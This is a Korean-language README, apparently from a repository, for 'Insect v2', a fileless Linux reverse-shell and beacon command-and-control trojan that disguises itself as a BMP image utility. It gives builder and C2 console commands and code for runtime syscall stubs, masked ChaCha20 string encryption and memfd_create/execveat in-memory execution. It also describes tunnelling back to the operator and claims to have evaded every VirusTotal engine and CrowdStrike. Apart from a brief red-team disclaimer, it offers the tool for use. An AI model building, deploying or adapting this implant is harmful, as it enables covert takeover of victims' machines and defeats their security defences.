
파일리스 리버스 셸 및 C2 프레임워크로, 직접 시스템 콜, 프록시 터널링, ChaCha20 암호화를 활용하여 AV를 우회합니다.
Insect는 파일리스 리버스 셸 및 비콘 Linux 페이로드를 위한 C2 트로이 목마입니다. 이 트로이 목마는 24비트 BMP 이미지 처리 유틸리티로 위장합니다. 정적 분석을 회피하기 위해 동적 시스템 콜 스텁, memfd_create, ChaCha20 암호화 문자열 리소스, 터널 프록시 및 ICC 프로필 암호화기를 사용합니다. C2 서버는 대화형과 비콘 두 가지 유형의 페이로드를 지원합니다.
수동 시스템 콜 제작은 오래된 기법이지만, Insect v2에서는 최신 스캐너의 레이더망을 피하기 위해 런타임에 스텁이 구축되는 방식을 개선했습니다. 시스템 콜을 동적으로 구성함으로써 페이로드는 정적 AV가 일반적으로 탐지하는 표준 시그니처를 회피합니다.
실제 테스트에서 VirusTotal의 모든 엔진을 성공적으로 우회했습니다. 또한 CrowdStrike Falcon에 대해서도 테스트했는데, 정적 엔진에서 탐지 없이 "그린 플래그"를 받았습니다. 동적 분석 중에는 경미한 의심 하나만 제기되었고 최종적으로 안전한 것으로 판정되었습니다.
면책 조항: Insect V2는 개발 중이며, 불법 활동을 지지하지 않습니다. 레드 팀 목적으로 자유롭게 사용하고 수정할 수 있습니다.
server.py → 멀티 세션 C2 콘솔
main.c → 리버스 셸 임플란트 (대화형 셸)
main_beacon.c → 비콘 임플란트 (작업 기반 폴링)
두 가지 프로필이 있습니다:
# 대화형 리버스 셸
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
# 작업 기반 비콘
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
둘 다 bmputil 바이너리를 생성합니다. 빌더는 빌드 시점에 모든 평문 문자열을 ChaCha20으로 암호화하고, 컴파일된 ELF를 ICC 프로필 마스크로 암호화한 후 명명된 ELF 섹션에 분할하고 로더 스텁을 생성합니다.
python3 server.py
기본적으로 0.0.0.0:8080에서 리스너를 시작합니다.
(insect) > list # 활성 세션 표시
(insect) > use rev-a1b2c3d4 # 리버스 셸과 상호작용
(insect) > task bea-deadbeef whoami # 비콘에 명령 대기열 추가
(insect) > tasks bea-deadbeef # 완료된 작업 결과 보기
(insect) > listen beacon 0.0.0.0 9090 # 추가 리스너 시작
(insect) > exit
세션은 빌드 시점에 삽입된 고유한 4바이트 정적 ID를 통해 추적됩니다.
대상 머신에서 실행할 때 페이로드는 정당성을 유지하기 위해 더미 인수를 받습니다:
./bmputil input.bmp output.bmp --grayscale
내부적으로는 포크하고, Minecraft 핸드셰이크 터널(playit.gg)을 통해 C2에 다시 연결하고, 0xDEAD 트리거를 기다립니다. 트리거되면 stdin/stdout/stderr를 소켓으로 리디렉션하고 /bin/sh를 생성합니다.
C2 서버는 세션 레지스트리에 리버스 셸 연결을 유지합니다. use <id>를 사용하여 터미널을 세션에 연결합니다.
비콘은 연결하고, 내장된 beacon_id로 등록하고, 대기 중인 작업을 확인하고, fork + pipe + execve를 통해 실행하고, 결과를 보고한 후 30초 동안 대기하고 다시 연결합니다.
task <id> <command>를 사용하여 작업을 대기열에 추가합니다. 결과는 메모리에 저장되며 tasks <id>로 확인합니다.
두 프로필 모두 동일한 회피 프리미티브를 공유합니다:
uint8_t stub[] = {
0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6,
0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8,
0x0f, 0x05, 0xc3
};
memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);
앞서 논의한 대로, 시스템 콜 옵코드(0F 05)는 정적 분석을 피하기 위해 실행 가능한 메모리에서 런타임에 구성됩니다.
static void _transform_resource(
const uint8_t *in, uint8_t *out, int len,
const uint8_t nce[8], int add_null
) {
uint32_t state[16] = {
0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
// ...
};
}
모든 문자열은 빌드 시점에 고유한 nonce로 암호화됩니다. 상태 상수에 대한 XOR 마스크는 ChaCha20 설정의 시그니처 기반 탐지를 차단합니다.
long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);
if (fd >= 0) {
_sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
if (p == 0) {
char *args[] = { (char *)APP_NAME, NULL };
_sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
_sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
}
_sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}
페이로드는 memfd_create + execveat를 통해 전적으로 메모리에서 실행됩니다.
기술적으로 memfd_create와 execveat는 AV에 의해 탐지되지만, 암호화되어 런타임에 구축되며, 실제 테스트에서 놀랍게도 플래그가 지정되지 않습니다.
중간 ELF는 감마 보정된 ICC 색상 조회 테이블과 무작위 32바이트 키로 XOR 암호화된 후 8개의 명명된 .rodata.blk* 섹션에 분할됩니다. 로더 스텁은 이를 재조립하고, 복호화하고, 실행합니다.
이 방법은 새로운 것이 아니라 오래된 기법이지만, insect v2는 다양한 보안 문서와 악성코드에서 언급된 기법을 수정하고 재구현합니다. 여기에서 확인할 수 있습니다: